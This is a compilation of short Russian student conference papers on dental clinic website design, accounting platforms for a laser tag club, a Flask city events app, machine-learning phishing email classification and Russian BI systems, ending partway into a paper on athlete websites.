Стома (Санкт-
Петербург) 

Нет Частичная (нет 
цен) 

Среднее Уста-
ревший 

Удовлетвори-
тельно 

Стома (Санкт-
Петербург) 

Нет Частичная (нет 
цен, мало о врачах)

Среднее Уста-
ревший 

Удовлетвори-
тельно 

Зуб.ру 
(Москва) 

Да Полная Высо-
кое 

Совре-
менный 

Отличная опти-
мизация 

ИНТАН 
(Санкт-
Петербург) 

Да Полная Высо-
кое 

Совре-
менный 

Надёжно и 
быстро 
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Анализ показал, что многие сайты стоматологических клиник нуждаются в 
улучшении дизайна, информативности и функциональности. Важно обеспечить он-
лайн-запись, полную информацию о ценах и врачах, а также оптимизировать скорость 
и безопасность сайта. 

Проектирование сайта для стоматологической клиники 
Проектирования сайта для стоматологической клиники является создание функ-

ционального и удобного ресурса, который будет способствовать привлечению новых 
клиентов и улучшению взаимодействия с существующими. Сайт должен обеспечить 
пациентам лёгкость в записи на приём, доступ к информации о специалистах и услугах, 
а также безопасную и комфортную работу с личными данными [1 – 4]. 

Структура сайта стоматологической клиники должна быть простой и логичной, 
чтобы пользователи могли быстро найти нужную информацию. Основные разделы сай-
та включают: «Главная страница», «Услуги», «Запись на приём», «Контакты», «Отзы-
вы», «Личный кабинет». 

Основная цель структуры сайта – обеспечить быструю навигацию и минимизи-
ровать количество кликов до получения необходимой информации. 

Сайт стоматологической клиники должен обладать рядом функциональных воз-
можностей для обеспечения удобства пользователей и эффективной работы клиники: 
онлайн-запись на приём, форма обратной связи, личный кабинет пациента, интеграция 
с crm-системой. 

Эти функциональные требования помогут сделать сайт более удобным для поль-
зователей и эффективным для клиники. Дизайн сайта стоматологической клиники дол-
жен быть современным, привлекательным и соответствовать медицинской тематике. 
Он должен создавать у пользователей ощущение профессионализма и доверия к клини-
ке. Важные аспекты дизайна и юзабилити включают: современный и чистый дизайн, 
адаптивность, простота навигации, удобный интерфейс, эстетика и доверие. Эти прин-
ципы помогут создать сайт, который будет удобен и понятен для всех категорий поль-
зователей, улучшая их опыт и стимулируя использование онлайн-сервисов. Сайт сто-
матологической клиники должен отвечать современным техническим требованиям для 
обеспечения безопасности, быстродействия и эффективного взаимодействия с пользо-
вателями: безопасность, скорость загрузки, SEO-оптимизация, интеграция с внешними 
сервисами, совместимость с браузерами. Эти технические требования обеспечат ста-
бильную работу сайта, безопасность данных пользователей и его доступность для всех 
категорий посетителей. 

В работе представлена спроектированная структура сайта для стоматологиче-
ской клиники, определены функциональные и другие требования. Проектирование сай-
та для стоматологической клиники является важным этапом в цифровой трансформа-
ции здравоохранения. Правильное проектирование и разработка сайта позволяют 
улучшить качество обслуживания пациентов, повысить доступность услуг и укрепить 
имидж клиники. Удобная навигация, функциональные возможности (онлайн-запись, 
форма обратной связи, личный кабинет), а также соответствие юридическим требова-
ниям играют ключевую роль в создании успешного медицинского сайта. Внедрение 
современных технологий и инструментов, таких как адаптивный дизайн, интеграция с 
CRM-системами и обеспечение безопасности данных, способствует улучшению поль-
зовательского опыта и увеличению числа клиентов. Важно, чтобы сайт клиники не 
только информировал, но и активно взаимодействовал с пациентами, облегчая процесс 
записи и предоставления услуг.  

Таким образом, создание качественного и функционального сайта для стомато-
логической клиники требует комплексного подхода, объединяющего современные веб-
технологии, внимание к деталям в дизайне и обязательное соблюдение требований без-
опасности и законодательства. Это обеспечит клинике конкурентоспособность и дове-
рие со стороны пациентов. 
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АНАЛИЗ ПЛАТФОРМ ДЛЯ РАЗРАБОТКИ ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ  
ДЛЯ УЧЕТА ДЕЯТЕЛЬНОСТИ ИГРОВОГО КЛУБА 
 
ANALYSIS OF PLATFORMS FOR SOFTWARE DEVELOPMENT TO ACCOUNT  
THE ACTIVITIES OF A GAMING CLUB 
 
Аннотация. В данной работе рассматривается анализ платформ для разработки про-
граммного обеспечения (ПО) для учета деятельности игрового клуба. Будут рассмотре-
ны основные характеристики платформ, такие как функциональность, интеграция, ав-
томатизированность. Также проведен сравнительный анализ преимуществ и недостат-
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ков популярных платформ на рынке. Данная статья будет полезна для руководителей 
игрового клуба «Лазертаг», разработчикам ПО, и для людей, которым интересна опти-
мизация бизнес-процессов. 
Abstract. This paper examines the analysis of platforms for software development (software) 
for accounting of gaming club activities. The main characteristics of platforms will be consid-
ered, such as functionality, integration, automation. Also a comparative analysis of ad-
vantages and disadvantages of popular platforms on the market. This article will be useful for 
managers of the game club «Lazertag», software developers, and for people who are interest-
ed in optimizing business processes. 
Ключевые слова: разработка, программное обеспечение, учет деятельности, сравни-
тельный анализ, функциональность, интеграции, бизнес-процессы.  
Key words: development, software, activity accounting, comparative analysis, functionality, 
integration, business processes.  
 

Игровые клубы, как и любые другие бизнес-структуры, сталкиваются с необхо-
димостью эффективного управления своими ресурсами, учета финансовых потоков и 
обеспечения безопасности данных. В современном мире информационных технологий, 
где данные становятся одним из самых ценных ресурсов, обеспечение их безопасности 
приобретает особое значение. В условиях стремительного роста числа кибер атак и уяз-
вимостей разработка надежных программных решений для учета и управления данны-
ми становится актуальной задачей.  

В работе будет проведено сравнение ПО для проектирования и внедрения си-
стемы, которая позволит не только оптимизировать бухгалтерскую деятельность, но и 
повысить уровень защиты информации от возможных угроз. Одним из таких решений 
является система «1С:Предприятие», которая предоставляет мощные инструменты для 
автоматизации бизнес-процессов [1 – 4]. На данный момент, наиболее популярными 
платформами, для разработки ПО для учета деятельности являются: «1С:Предприятие», 
«Инфо-Предприятие», «Контур», «СБИС», «Парус». В работе будут рассмотрены ПО 
«1С:Предприятие» и ПО «Контур», как наиболее популярные платформы для разработ-
ки ПО. 

Стандарты платформы «1С:Предприятие»  
Платформа «1С:Предприятие» – это решение для автоматизации управления 

учета в организациях. Оно широко используется в России и странах СНГ и подходит 
для различных отраслей: торговли, производств и многое другое. Система позволяет 
разрабатывать различные решения для конкретных задач бизнеса. 

Платформа «1С:Предприятие» обладает стандартами, которые обеспечивают 
формирование отчетности согласно российскому законодательству. К основным стан-
дартам можно отнести: 

- соответствие нормам бухгалтерского учета; 
- возможность интеграции с различными электронными системами отчетности; 
- поддержка многих отраслевых стандартов учета. 
Платформа «1С:Предприятие» является одной из полезных систем для управле-

ния игровым клубом «Лазертаг». Основными преимуществами данной системы является: 
- учет финансов: позволяет вести учет доходов и расходов клуба, управлять 

бюджетом, создавать отчеты по финансовым показателям;  
- управление клиентами: система помогает вести базу данных клиентов, отсле-

живать их посещения, предлагать скидки и акции, а также управлять программами ло-
яльности;  

- управление инвентарем: позволяет контролировать наличие и состояние обо-
рудования, которое используется в играх (лазерные винтовки и так далее); 
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- автоматизация процессов: упрощает рутинные операции такие, как расчет 
зарплаты работников, управление поставками и другими ресурсами. 

Эти функции позволяют не только эффективно управлять игровым клубом, но и 
улучшать качество обслуживание клиентов, что способствует увеличению прибыли. 

Преимущества платформы «1С:Предприятие» заключается в том, что она пред-
лагает большой набор функциональности, включая возможность настройки под специ-
фические нужды бизнеса. Программа «1С:Предприятие» позволяет автоматизировать 
множество процессов, создать ролевую структуру доступа и предоставляет решения 
для складского учета [5]. 

Недостаток платформы «1С:Предприятие» заключается в том, что высокая сто-
имость и сложные настройки могут стать препятствием для малых бизнесов. Также 
требуется обучение персонала. 

Стандарты платформы «Контур» 
Система «Контур» представляет собой облачную платформу для автоматизации 

учета и отчетности, которая включает в себя такие решения, как «Конурн.Экстерн» 
(для подачи отчетности) и «Контур.Финанс» (для финансового учета). Платформа 
«Контур» ориентирована на средний и малый бизнес и предлагает пользователям до-
ступ к функциональности без необходимости установки ПО. 

Платформа «Контур» обладает стандартами, которые включают в себя: 
- полное соответствие требованиям законодательства РФ по бухгалтерскому 

учету и налогообложению;  
- возможность работы с различными формами отчетности; 
- интеграция с другими возможными системами, такими как система хранение 

данных, для упрощенного доступа к документам. 
Преимущества платформы «Контур» заключается в том, что она доступна и по-

нятна для любых пользователей, так как это облачное решение. Также это решение 
подходит для компаний, где нет необходимости в глубокой кастомизации функций. 

Недостаток платформы «Контур» – ограниченная функциональность по сравне-
нию с платформой «1С:Предприятие». Возможность настройки под специфические 
нужды бизнеса также ограничены. Для более точного понимание преимуществ и недо-
статков платформ создадим таблицу с плюсами и минусами (таблица 1). 

Таблица 1  Основные преимущества и недостатки платформ 
Критерий Платформа 

«1С:Предприятие» «Контур» 
Широкий набор функциональности + - 
Облачное решение не требует установки ПО  - + 
Возможность настройки под специфические нуж-
ды 

+ - 

Доступно и понятно для пользователей - + 
Соответствие нормам бухгалтерского учета + + 
Полное соответствие законодательству РФ + + 
Интеграция с различными электронными систе-
мами 

+ + 

Работа с различными формами отчетности - + 
Поддержка многих отраслевых стандартов учета + - 
Низкая стоимость - + 
Простота настройки - + 
Разнообразие возможности настройки + - 
Не требуется обучение персонала - + 
Глубокая кастомизация + - 
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В конечном итоге можно сказать, что платформа «1С:Предприятие» выделяется 
значительными качествами, которые делают ее выдающимся решением для многих 
бизнес идей. Обширная функциональность платформы «1С:Предприятие» охватывает 
не только бухгалтерский учет, но и управление производственными процессами для 
торговли, управление кадрами и другими аспектами бизнеса. Это делает систему уни-
версальным инструментом, способным решать многие задачи. Стоит также отметить 
высокую степень поддержки со стороны разработчика. Также большое количество обу-
чающих материалов, что способствует быстрому освоению системы. Выбор в пользу 
использования своей конфигурации на платформе «1С:Предприятие» поможет больше 
раскрыть функции и преимущества, которые позволят эффективно управлять игровым 
клубом «Лазертаг», что улучшит качество обслуживание клиентов, что в свою очередь 
поможет увеличению прибыли, и возможности легко адаптироваться к изменениям на 
рынке продаж. 
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ВЕБ-ПРИЛОЖЕНИЕ СОБЫТИЙ ГОРОДА  
 
CITY EVENTS WEB APPLICATION 
 
Аннотация. Данная статья посвящена проектированию и разработке веб-приложения, ко-
торое должна отображать городскую афишу, акцентируя внимание на создании цифро-
вой структуры платформы для пользователей. Особое внимание уделяется разработке 
интеллект-карты, которая систематизирует логику переходов, разделов и пользователь-
ских сценариев, а также разработке прототипа Figma, который отражает адаптивный ин-
терфейс и структуру взаимодействия. В работе исследованы методы, которые могут 
упростить навигацию, повысить доступность культурных мероприятий и создать благо-
приятные условия для пользователей в городской среде. 
Abstract. This article focuses on the design and development of a web application that dis-
plays a city event poster, with an emphasis on building a structured digital platform for users. 
Particular attention is given to the creation of a mind map, which systematizes the logic of 
navigation, sections, and user scenarios, as well as the development of a Figma prototype that 
reflects an adaptive interface and interaction structure. The study explores methods that can 
simplify navigation, improve access to cultural events, and create favorable conditions for us-
ers in an urban environment. 
Ключевые слова: веб-приложение, интеллект-карта, пользовательский интерфейс, 
Flask, Jinja2, SQLAlchemy, PostgreSQL 
Key words: web app, mind map, ui, Flask, Jinja2, SQLAlchemy, PostgreSQL 

 
Отображение актуальных событий города в цифровом формате – это фундамент 

осведомленности горожан и продвижения культурных ценностей. Цель создания веб-
приложения с афишей – обеспечить удобную площадку, где пользователи моментально 
смогут отыскать события, соответствующие их предпочтениям, используя фильтры по 
жанрам, дате и месту. Эта система упорядочивает огромный поток информации, упро-
щает восприятие и стимулирует активное участие жителей в культурной жизни города. 

В рамках разработки, архитектура веб-приложения была спроектирована с опо-
рой на интеллект-карту. Этот инструмент наглядно иллюстрирует взаимодействие эле-
ментов сайта и логику перемещения пользователей. Такой подход обеспечил структу-
рирование интерфейса и интуитивно понятную навигацию. Кроме того, был создан 
кликабельный прототип в Figma, отображающий основные разделы сайта и демонстри-
рующий адаптивность интерфейса. Этот метод обеспечивает оперативный доступ к со-
бытиям, повышает удовлетворенность пользователей и делает сайт удобным как для 
постоянных посетителей, так и для тех, кто знакомится с ним впервые. Процесс отоб-
ражения городских мероприятий в веб-приложении сопряжён с рядом задач — от авто-
матизированного сбора информации до организации удобной структуры для пользова-



369 

телей. Основываясь на анализе схожих платформ и практическом опыте, можно выде-
лить следующие основные проблемы: 

1) Сложности с поиском актуальной информации. Пользователи могут испыты-
вать затруднения при поиске нужных сведений в разрозненных источниках событий, 
что снижает их интерес к участию в мероприятиях. 

2) Отсутствие единой цифровой платформы. Большинство афиш рассредоточены 
по сайтам различных учреждений, что усложняет формирование полной картины про-
исходящего в городе. 

3) Недостаточная визуализация и персонализация. Пользователю важно не толь-
ко видеть перечень мероприятий, но и получать рекомендации на основе жанров, ранее 
просмотренных событий и избранного, а также фильтровать события по возрастным 
ограничениям. Эти проблемы подчёркивают необходимость создания структурирован-
ного и адаптивного веб-приложения, где события автоматически загружаются, филь-
труются и отображаются в виде карточек. Первым этапом проектирования системы ста-
ла разработка интеллект-карты — графической схемы, отображающей логику страниц, 
переходов и пользовательских сценариев. Данный инструмент позволил заранее опреде-
лить структуру и навигацию сайта, а также различия в интерфейсе между авторизован-
ными и неавторизованными пользователями. В контексте web-приложения мероприятий 
города интеллект-карта была применена для: 

1) Определения ключевых страниц сайта, таких как «Главная», «Афиша», «Ме-
ста», «Профиль пользователя», «Страница события», а также элементов шапки (header) 
и подвала (footer). 

2) Осуществления разделения логики отображения интерфейса в соответствии 
со статусом пользователя: авторизованный или неавторизованный. 

3) Выявления и анализа потенциально слабых мест в структуре интерфейса, что 
дает возможность устранить проблемы ещё на стадии планирования. Использование 
интеллект-карты оказалось эффективным благодаря наглядности и гибкости в процессе 
изменений [1]. Она также послужила надёжной основой для дальнейшего прототипиро-
вания интерфейса в Figma.  Рисунок 1 демонстрирует пример такой интеллект-карты, 
разработанной для веб-приложения городской афиши. 

 
Рисунок 1 – Интеллект-карта веб-приложения городской афиши 

На базе схемы, выстроенной в виде интеллект-карты, в Figma, популярном сред-
стве для разработки интерактивных интерфейсов, был спроектирован прототип главной 
страницы веб-сайта. Этот прототип служит практической демонстрацией разработан-
ной структуры, давая возможность оценить удобство пользования и при необходимости 
внести изменения до завершения разработки. Исходя из анализа научных публикаций 
[2 – 4] и аналогичных приложений были проведены дальнейшие шаги по разработке 
приложения, разработка прототипа, выбор стека технологий. 
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Прототип включает следующие элементы: 
1) Популярные события, представленные в виде трёх карточек с основными ха-

рактеристиками мероприятия. 
2) Жанры — шесть интерактивных карточек категорий, при нажатии на которые 

осуществляется переход к странице афиши с соответствующим фильтром. 
3) Персональные рекомендации, рассчитанные на авторизованных пользовате-

лей, формируются с учётом предпочтений. 
Также разработано адаптивное навигационное меню и футер с контактными 

данными. Этот прототип дает возможность визуализировать облик и функциональность 
главной страницы сайта, что является ключевым моментом на начальном этапе разра-
ботки пользовательского интерфейса. Создание прототипа в Figma позволяет предста-
вить, как будет выглядеть будущий сайт, еще до старта разработки его кода. Это даёт 
возможность заранее оценить его структуру и насколько удобно будет им пользоваться. 
Такой подход позволяет выявить возможные недочеты на самых ранних этапах, напри-
мер, неудобное расположение карточек или недостаточную читаемость текста. Обна-
ружив эти проблемы до начала программирования, их можно устранить. Рисунок 2 ил-
люстрирует пример прототипа, разработанного для главной страницы веб-приложения. 

 
Рисунок 2 – Прототип главной страницы 

Для разработки веб-приложения было решено применить технологический стек, 
включающий Flask, Jinja2, SQLAlchemy и PostgreSQL. Этот выбор гарантирует как 
быструю разработку, так и надежную архитектуру для будущего проекта. 

Flask служит в качестве основы серверной части, управляя маршрутизацией, об-
работкой поступающих запросов и всей логикой взаимодействия с компонентами си-
стемы. Простота и гибкость Flask делают его оптимальным решением при разработке 
небольших и средних веб-приложений [3]. 

Jinja2 отвечает за динамическую генерацию HTML-шаблонов, создавая контент, 
изменяющийся в зависимости от различных факторов, например, отображение инфор-
мации о событиях или фильтрация по жанрам. Это дает возможность оперативно адап-
тировать пользовательский интерфейс в соответствии со статусом пользователя [4]. 

SQLAlchemy упрощает процесс работы с базой данных, позволяя обращаться к 
информации, используя Python-код, без необходимости писать SQL-запросы. 

Для хранения данных выбрана PostgreSQL — производительная реляционная 
СУБД, идеально подходящая для обработки и масштабирования данных, относящихся 
к событиям, пользователям и географическим локациям. 
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Применение данного стека технологий обеспечивает стабильность, возможность 
масштабирования и потенциал для дальнейшего развития и улучшения проекта. 

В ходе исследования была создана методика разработки веб-приложения, бази-
рующаяся на современных инструментах и передовых технологиях.  Использование 
интеллект-карты помогло организовать логику перемещений по приложению, наглядно 
демонстрируя архитектуру платформы и упрощая планирование пользовательских 
маршрутов. Создание прототипа в Figma обеспечило визуализацию интерфейса, что 
позволило уже на начальных этапах обнаружить возможные проблемы в навигации и 
подготовить дизайн, максимально соответствующий требованиям проекта. Выбор тех-
нологического стека Flask, Jinja2, SQLAlchemy и PostgreSQL объясняется его надежно-
стью, высокой производительностью и возможностью масштабирования. Данный под-
ход гарантирует эффективную обработку данных, стабильную серверную часть и об-
легчает дальнейшее расширение системы.  

Предложенное решение допускает адаптацию для других городских платформ, а 
также дополнение расширенными функциональными возможностями, например, инте-
грацией с мессенджерами. Это открывает широкие возможности для будущих усовер-
шенствований. 
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МАШИННОЕ ОБУЧЕНИЕ ПРОТИВ ФИШИНГА: КЛАССИФИКАЦИЯ 
ФИШИНГОВЫХ ПИСЕМ 
 
MACHINE LEARNING AGAINST PHISHING: CLASSIFICATION OF PHISHING 
EMAILS 
 
Аннотация. В данной статье будут рассмотрены современные методы борьбы с одной 
из ключевых угроз в области кибербезопасности – фишинговые атаки. Рассмотрены и 
исследованы различные модели и алгоритмы машинного обучения для классификации 
фишинговых писем, такие как Наивный Байес, Логистическая регрессия, случайный 
лес, которые помогают в настоящее время эффективно отличать их от легитимных со-
общений. В заключении подтверждается эффективность машинного обучения в борьбе 
с фишингом.  
Abstract. This article will discuss modern methods of combating one of the key threats in the 
field of cybersecurity – phishing attacks. Various machine learning models and algorithms for 
classifying phishing emails, such as Naive Bayes, Logistic Regression, and random forest, are 
considered and investigated, which currently help effectively distinguish them from legitimate 
messages. In conclusion, the effectiveness of machine learning in the fight against phishing is 
confirmed. 
Ключевые слова: машинное обучение, фишинг, классификация, электронная почта, ки-
бербезопасность. 
Key words: machine learning, phishing, classification, email, cybersecurity. 
 

В настоящее время мы сталкиваемся с постоянным и практически ежедневным 
ростом информационного объёма, который нас окружает. Немалую часть в нашей жиз-
ни, а в особенности бизнеса, составляют электронные письма, что позволяет организа-
циям быстро обмениваться информацией. Но, параллельно с ростом информационного 
объёма, растут и мошеннические атаки. Касаемо электронных писем это конечно – фи-
шиновые атаки. Это такой вид атаки, при котором злоумышленники используют под-
дельные электронные письма, которые имитируют сообщения от доверенных организа-
ций. Представим себе условную копию сайта, на который заходит ни в чем не подозре-
вающий пользователь и вводит свои данные, конечно эти данные потом попадают в 
«плохие» руки. Традиционные методы борьбы с фишингом, такие как черные списки, 
на основе жестких правил, оказываются неэффективными из-за возрастающей сложно-
сти атак. Целью данной работы является изучение и анализ существующих алгоритмов 
машинного обучения, применяемых для борьбы с фишинговыми письмами, в частности 
для их классификации. Обычно, фишинговые письма содержат характерные признаки. 
Это, например, подозрительные ссылки, призывы к немедленному действию, орфогра-
фические ошибки, поддельные адреса отправителей [1]. Пример такого электронного 
письма (рисунок 1). 

 
Рисунок 1 – Пример фишингового письма 
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Как мы видим, это, казалось бы, обычное письмо, со всеми реквизитами, и не-
подготовленный пользователь с большой долей вероятности перейдет по ссылке в 
письме, которое конечно, поддельное. Машинное обучение, особенно обучение с учи-
телем, позволяет классифицировать письма как фишинговые или легитимные, исполь-
зуя такие признаки, как текст письма, метаданные (например, адрес отправителя) и 
анализ URL. Грубо говоря, алгоритму показывают сотни тысяч примеров фишинговых 
писем, а точнее их метаданных, и он, спустя больше количество иттераций учится рас-
познавать поддельные письма [2].  Рассмотрим традиционные алгоритмы: 

- наивный Байес: это простой и быстрый алгоритм, основанный на теореме Бай-
еса и предположении о независимости признаков, таких как слова в тексте письма или 
наличие подозрительных URL. Его преимущество – высокая скорость вычислений, 
особенно на небольших наборах данных, и способность работать с пропущенными дан-
ными. Однако предположение о независимости может быть проблемой, так как в фи-
шинговых письмах признаки, такие как текст и метаданные, часто коррелируют; 

- логистическая регрессия: линейная модель для бинарной классификации. Она 
подходит для данных с множественными признаками. Такой алгоритм менее эффективен 
на нелинейных данных, что может быть ограничением для развивающейся сложности 
фишинговых атак; 

- случайный лес: метод на основе ансамбля, использующий множество деревьев 
решений для усреднения предсказаний, что повышает точность. Он устойчив к сложным 
зависимостям, таким как комбинация текста, метаданных и URL. 

Помимо традиционных алгоритмов существуют модели глубокого обучения: 
- свёрточные нейронные сети (CNN): используются для извлечения локальных 

признаков из текста; 
- сети с краткосрочной памятью (LSTM): подходят для последовательных данных, 

учитывая контекст; 
- модели-трансформеры: используют механизмы внимания для понимания кон-

текста [3]. Конечно, традиционные алгоритмы более просты в реализации и раньше ис-
пользовали именно их, чаще всего это случайный лес, который выдавал наиболее реле-
вантные результаты. Точность определения фишингового письма с помощью алгорит-
ма случайного леса составляет около 95 – 97%. Но, постоянный рост сложности фи-
шинговых атак диктует новые правила. Наиболее современный подход заключен в так 
называемом Federated Phish Bowl (FPB) методе. Он использует раннее описанную ре-
куррентную нейронную сеть, которая имеет краткосрочную память и федеративное 
обучение, которое далее будет описано. 

Федеративное обучение - это метод машинного обучения, который обучает ал-
горитм на нескольких децентрализованных устройствах или серверах, содержащих ло-
кальные образцы данных, без обмена ими. Это особенно хорошо в случае обучения 
нейронной сети на чувствительных данных пользователей. Ведь ежедневные сообще-
ния пользователей, содержащие личную информацию, трудно собирать в реальной 
жизни на сервере для обучения нейронной сети из-за проблем с конфиденциальностью. 
Схема FPB подхода (рисунок 2).  

Здесь используется несколько двунаправленных LSTM, где каждая последую-
щая сеть обрабатывает выход предыдущей, после чего результат подаётся на вход пол-
носвязному слою. В итоге получается некоторое число для каждого сообщения, кото-
рое с помощью функции sigmoid переводится в диапазон [0, 1], что позволяет предска-
зать вероятность того, что сообщение фишинговое.  

В традиционных подходах, таких как случайный лес, для обучения модели тре-
буется собрать все данные в одном месте. Это создаёт риски утечек данных. FPB реша-
ет эту проблему: каждая организация обучает свою локальную модель на своих пись-
мах, затем отправляет только обновлённые параметры модели на центральный сервер. 
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В результате каждая организация получает улучшенную модель, обученную на опыте 
всех участников, но при этом данные никуда не передаются [4].  

 
Рисунок 2 – Схема FPB подхода 

Обозначим главные преимущества FPB метода: 
- обеспечивает высокий уровень конфиденциальности, так как реальные письма 

не покидают организацию; 
- позволяет быстро адаптироваться к новым видам фишинговых атак: если один 

участник столкнулся с новой угрозой, обновлённая модель быстро распространяется 
среди всех, и остальные организации получают защиту ещё до того, как атака доберётся 
до них; 

- обеспечивает лучшее обобщение, так как объединяет разнообразные данные из 
разных источников – это делает модель более устойчивой к редким и сложным атакам, 
которые трудно поймать при обучении на данных одной организации. 

Подведём итог. В условиях стремительного роста объема информации и увели-
чения числа фишинговых атак традиционные методы защиты, такие как черные списки 
и простые алгоритмы машинного обучения, становятся всё менее эффективными. Фи-
шинговые письма эволюционируют, маскируются под легитимные сообщения и ис-
пользуют всё более сложные техники социальной инженерии, что требует от систем 
безопасности гибкости, адаптивности и высокой точности в распознавании угроз. В 
данной работе были рассмотрены как классические алгоритмы машинного обучения – 
наивный Байес, логистическая регрессия, случайный лес – так и более современные ме-
тоды, основанные на нейронных сетях, в том числе LSTM и трансформеры. Наиболее 
перспективным и высокоэффективным решением в текущих реалиях является подход 
Federated Phish Bowl (FPB). Такой подход не только улучшает качество классификации 
за счёт объединения разнообразного опыта разных организаций, но и позволяет вовре-
мя реагировать на новые угрозы. 
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ОБОСНОВАНИЕ ИСПОЛЬЗОВАНИЯ AW BI ДЛЯ РАЗРАБОТКИ 
ИНФОРМАЦИОННОГО МОДУЛЯ КОНТРОЛЯ ЗАПАСОВ ПРЕДПРИЯТИЯ 
 
JUSTIFICATION OF THE USE OF AW BI FOR THE DEVELOPMENT 
OF AN INFORMATION MODULE FOR INVENTORY CONTROL OF AN 
ENTERPRISE 
 
Аннотация. Отечественный рынок информационных технологий предлагает широкий 
набор инструментов для разработки информационного модуля контроля запасов пред-
приятия, что в значительной степени зависит от использования аналитических инстру-
ментов. В этой связи перед предприятиями возникает сложная задача выбора соответ-
ствующего инструмента бизнес-анализа (BI). Для этого в работе рассматриваются ос-
новные характеристики российских BI-систем, а также использования AW BI для раз-
работки информационного модуля. 
Abstract. The domestic information technology market offers a wide range of tools for devel-
oping an information module for inventory control of an enterprise, which largely depends on 
the use of analytical tools. In this regard, enterprises face the difficult task of choosing the ap-
propriate business analysis (BI) tool. For this purpose, the paper considers the main character-
istics of Russian BI systems, as well as the use of AW BI for the development of an infor-
mation module. 
Ключевые слова: анализ, данные, BI-система, характеристика, предприятие, модуль. 
Key words: analysis, data, BI system, characteristics, enterprise, module. 
 

Внедрение аналитических решений, таких как Analytic Workspace (AW), позво-
ляет предприятиям не только анализировать текущую ситуацию, но и прогнозировать 
будущие тенденции, что делает их незаменимыми для повышения эффективности рабо-
ты и конкурентоспособности. Создание информационного модуля контроля запасов 
предприятия в AW BI помогает в анализе данных и извлечении полезной информации, 
что способствует более обоснованным решениям. Предприятия могу получать актуаль-
ные данные о состоянии запасов, продажах и других бизнес-показателях, что позволяет 
быстро реагировать на изменения [1, 2].  

Данные, собранные в BI-модуле, помогают прогнозировать потребности, что 
позволяет более точно планировать закупки и управление запасами. Визуализация всех 
данных способствует пониманию бизнес-процессов, что помогает всем сотрудникам 
быть в курсе ключевых показателей на предприятии [3]. 
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Рассмотрим преимущества AW BI и проведем сравнительную характеристику 
среди российских BI-платформ. 

Analytic Workspace предлагается пользователям как универсальный BI-
инструмент, подходящий для решения практически любой аналитической задачи. Пре-
имущества системы: 

1) Простой понятный интерфейс. Большинство российских BI копировали зару-
бежные интерфейсы, которые устарели, то AW BI пошла по современному пути. На ри-
сунке 1 представлен вид информационной панели [4]. 

 
Рисунок 1 – Информационная панель AW BI 

2) Развита функциональность ETL-трансформации и анализа данных. Наличие 
self-service ETL-блоков, позволяющих самостоятельно конструировать большие логи-
ческие модели с неограниченным количеством уровней вложенности для решения са-
мых сложных аналитических задач, включая прогнозирование. 

3) Наличие бесплатной версии AW BI Free. Позволяет освоить работу в системе, 
подключать разные источники (базы данных, файлы, веб-сервисы), а также строить мо-
дели и визуализировать данные.  

В таблице 1 представлено сравнение известных российских BI-систем, таких как 
Visiology, Luxms BI, Yandex DataLens и Analytic Workspace [4, 5].  

Таблица 1 – Сравнительная характеристика BI 
Характери-

стика 
Visiology Luxms BI Yandex DataLens Analytic 

Workspace 
Тип системы  BI-платформа с 

возможностью 
визуализации 
данных 

BI-платформа 
с высокой 
производи-
тельностью и 
масштабируе-
мостью 

Облачная плат-
форма для ана-
литики и визуа-
лизации данных 

Self-service BI-
система с ак-
центом на про-
стоту использо-
вания и инте-
грацию данных 

Интеграция с 
данными 

Поддержка раз-
личных источ-
ников (SQL, 
Excel, API) 

Интеграция с 
MPP-базами 
данных 
(ClickHouse, 
Greenplum) 

Интеграция с 
Ян-
декс.Метрикой, 
ClickHouse, 
PostgreSQL и 
другими источ-
никами 

Поддержка раз-
личных источ-
ников данных 
(базы данных, 
файлы и облач-
ные хранилища) 
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Продолжение таблицы 1 
Характери-

стика 
Visiology Luxms BI Yandex DataLens Analytic 

Workspace 
ETL-
функцио-
нальность 

Базовый встро-
енный ETL; 
возможность 
интеграции с 
сторонними 
ETL-системами 

ETL-
инструмент 
Luxms Data 
Boring для ав-
томатизации 
сбора и обра-
ботки данных 

Нет встроенного 
ETL; требует 
использования 
сторонних ин-
струментов для 
обработки дан-
ных 

Полноценный 
ETL-слой с ин-
туитивно по-
нятным интер-
фейсом для об-
работки данных 

Визуализация 
данных 

Интерактивные 
дашборды, воз-
можность со-
здания настраи-
ваемых отчетов 

Интерактив-
ные дашборды 
и презентации 

Широкий выбор 
графиков и диа-
грамм для пред-
ставления ин-
формации 

Настройка ви-
джетов и 
дашбордов с 
использованием 
drag-and-drop 
интерфейса 

Безопасность Технологии 
RLS (Row-Level 
Security) для 
управления до-
ступом 

Гибкая 
настройка 
прав доступа 

Многоуровневая 
защита от атак, 
основанная на 
принципах 
security-by-
design 

Гибкая модель 
разграничения 
прав доступа на 
уровне отдель-
ных виджетов 

Поддержка 
мобильных 
устройств 

Нет Нет Да Нет 

Облачное 
решение 

Нет (предостав-
ляется как ло-
кальное реше-
ние) 

Нет (предо-
ставляется как 
локальное ре-
шение) 

Да Нет (локальное 
или облачное 
развертывание) 

Уникальные 
особенности 

Виртуальный 
помощник 
ViTalk для 
формирования 
запросов на 
DAX 

Высокая про-
изводитель-
ность при ра-
боте с боль-
шими объема-
ми данных 

Быстрый старт с 
интуитивными 
конструкторами 
дашбордов 

Предиктивная 
аналитика на 
базе машинного 
обучения 

Стоимость Стартовая сто-
имость 45 000 р. 
в год за пользо-
вателя 

Цены рассчи-
тываются по 
запросу 

Бесплатная вер-
сия доступна; 
платные тарифы 
начинаются от 
11 880 р. в год 

Стартовая сто-
имость 8 000 р. 
в год за пользо-
вателя 

В работе было проведено детальное сравнение AW BI c известными российски-
ми BI-системами. Все представленные системы отличаются и характеризуются полным 
циклом управления данными, передовыми аналитическими инструментами, масштаби-
руемостью, удобством использования и возможностью обучения. В качестве инстру-
мента разработки информационного модуля контроля запасов предприятия для малого 
и среднего бизнеса больше подходит BI-система Analytic Workspace. Несмотря на про-
стой интуитивный self-service интерфейс, BI-система Analytic Workspace позволяет ре-
шать сложные специализированные задачи благодаря полноценному ETL-модулю. Это 
дает возможность более гибко работать с массивами данных и получать важные сведе-
ния для оптимизации контроля запасов. 
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СОВРЕМЕННЫЕ ВЕБ-ТЕХНОЛОГИИ В СОЗДАНИИ ПЕРСОНАЛЬНОГО 
БРЕНДА СПОРТСМЕНА: АРХИТЕКТУРА И РЕАЛИЗАЦИЯ 
 
MODERN WEB TECHNOLOGIES IN CREATING A PERSONAL BRAND  
OF AN ATHLETE: ARCHITECTURE AND IMPLEMENTATION 

 
Аннотация. Статья посвящена разработке веб-приложения для создания персонального 
сайта спортсмена. Цель работы – предложить решение, позволяющее эффективно де-
